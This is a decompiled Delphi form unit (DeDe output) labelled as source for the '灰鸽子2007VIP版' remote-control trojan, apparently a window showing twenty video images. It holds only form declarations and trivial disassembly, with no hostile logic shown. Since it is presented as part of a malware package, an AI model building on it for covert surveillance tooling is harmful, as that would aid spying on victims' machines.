allvideo_unit.pas

灰鸽子2007VIP版源码

unit ALLVideo_Unit;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls
type
  TALLVideo_Form=class(TForm)
    DSF: TspDynamicSkinForm;
    spSkinGroupBox1: TspSkinGroupBox;
    img1: TImage;
    spSkinGroupBox2: TspSkinGroupBox;
    img2: TImage;
    spSkinGroupBox3: TspSkinGroupBox;
    img3: TImage;
    spSkinGroupBox4: TspSkinGroupBox;
    img4: TImage;
    spSkinGroupBox5: TspSkinGroupBox;
    img5: TImage;
    spSkinGroupBox6: TspSkinGroupBox;
    img6: TImage;
    spSkinGroupBox7: TspSkinGroupBox;
    img7: TImage;
    spSkinGroupBox8: TspSkinGroupBox;
    img8: TImage;
    spSkinGroupBox9: TspSkinGroupBox;
    img9: TImage;
    spSkinGroupBox10: TspSkinGroupBox;
    img10: TImage;
    spSkinGroupBox11: TspSkinGroupBox;
    img11: TImage;
    spSkinGroupBox12: TspSkinGroupBox;
    img12: TImage;
    spSkinGroupBox13: TspSkinGroupBox;
    img13: TImage;
    spSkinGroupBox14: TspSkinGroupBox;
    img14: TImage;
    spSkinGroupBox15: TspSkinGroupBox;
    img15: TImage;
    spSkinGroupBox16: TspSkinGroupBox;
    img16: TImage;
    spSkinGroupBox17: TspSkinGroupBox;
    img17: TImage;
    spSkinGroupBox18: TspSkinGroupBox;
    img18: TImage;
    spSkinGroupBox19: TspSkinGroupBox;
    img19: TImage;
    spSkinGroupBox20: TspSkinGroupBox;
    img20: TImage;
    procedure FormCloseQuery(Sender : TObject);
    procedure _PROC_00589740(Sender : TObject);
    procedure _PROC_00589770(Sender : TObject);
    procedure _PROC_00589778(Sender : TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end ;

var
  ALLVideo_Form: TALLVideo_Form;

{This file is generated by DeDe Ver 3.50.02 Copyright (c) 1999-2002 DaFixer}

implementation

{$R *.DFM}

procedure TALLVideo_Form.FormCloseQuery(Sender : TObject);
begin
(*

* Reference to ALLVideo_Form
|
00589734   A118055E00             mov     eax, dword ptr [$005E0518]
00589739   33D2                   xor     edx, edx

* Reference to field ALLVideo_Form.OFFS_000C
|
0058973B   89500C                 mov     [eax+$0C], edx
0058973E   C3                     ret

*)
end;

procedure TALLVideo_Form._PROC_00589740(Sender : TObject);
begin
(*
00589740   55                     push    ebp
00589741   8BEC                   mov     ebp, esp
00589743   33C0                   xor     eax, eax
00589745   55                     push    ebp
00589746   6865975800             push    $00589765

***** TRY
|
0058974B   64FF30                 push    dword ptr fs:[eax]
0058974E   648920                 mov     fs:[eax], esp
00589751   FF051C055E00           inc     dword ptr [$005E051C]
00589757   33C0                   xor     eax, eax
00589759   5A                     pop     edx
0058975A   59                     pop     ecx
0058975B   59                     pop     ecx
0058975C   648910                 mov     fs:[eax], edx

****** FINALLY
|
0058975F   686C975800             push    $0058976C
00589764   C3                     ret


* Reference to: System.@HandleFinally;
|
00589765   E926ACE7FF             jmp     00404390
0058976A   EBF8                   jmp     00589764

****** END
|
0058976C   5D                     pop     ebp
0058976D   C3                     ret

*)
end;

procedure TALLVideo_Form._PROC_00589770(Sender : TObject);
begin
(*
00589770   832D1C055E0001         sub     dword ptr [$005E051C], +$01
00589777   C3                     ret

*)
end;

procedure TALLVideo_Form._PROC_00589778(Sender : TObject);
begin
(*
00589778   C49758000000           les     edx, [edi+$0058]
0058977E   0000                   add     [eax], al

*)
end;

end.